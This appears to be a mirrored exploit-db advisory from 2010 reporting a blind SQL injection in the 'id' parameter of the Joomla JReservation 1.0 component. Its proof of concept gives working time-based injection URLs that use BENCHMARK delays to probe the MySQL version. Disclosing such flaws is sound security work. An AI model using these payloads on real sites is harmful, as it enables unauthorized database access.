Joomla! Component Jreservation – Blind SQL Injection

  • 作者: B-HUNT3|2
    日期: 2010-01-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11286/
  • [~]>> ...[BEGIN ADVISORY]...
    
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    
    [~]>> TITLE: Joomla (JReservation) BLIND SQL Injection Vulnerability
    [~]>> LANGUAGE: PHP
    [~]>> DORK: N/A
    [~]>> RESEARCHER: B-HUNT3|2
    [~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
    [~]>> TYPE: COMMERCIAL
    [~]>> PRICE: N/A
    
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    
    [~]>> DESCRIPTION: Input var id is vulnerable to SQL Code Injection
    [~]>> AFFECTED VERSIONS: Confirmed in 1.0
    [~]>> RISK: Medium/High
    [~]>> IMPACT: Execute Arbitrary SQL queries
    
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    
    [~]>> PROOF OF CONCEPT:
    
    [~]>> http://server/cd-hotel/index.php?option=com_content&view=article&id=[SQL]
    
    [~]>> {RETURN TRUE::RETURN FALSE} ---> VIEW TIME RESPONSE ||| HIGH: TRUE ||| LOW: FALSE
    
    [~]>> http://server/cd-hotel/index.php?option=com_content&view=article&id=46+AND+1=if(substring(@@version,1,1)=4,BENCHMARK(9999999,md5(@@version)),1)%23
    [~]>> http://server/cd-hotel/index.php?option=com_content&view=article&id=46+AND+1=if(substring(@@version,1,1)=5,BENCHMARK(9999999,md5(@@version)),1)%23
    
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    
    [~]>> ...[END ADVISORY]...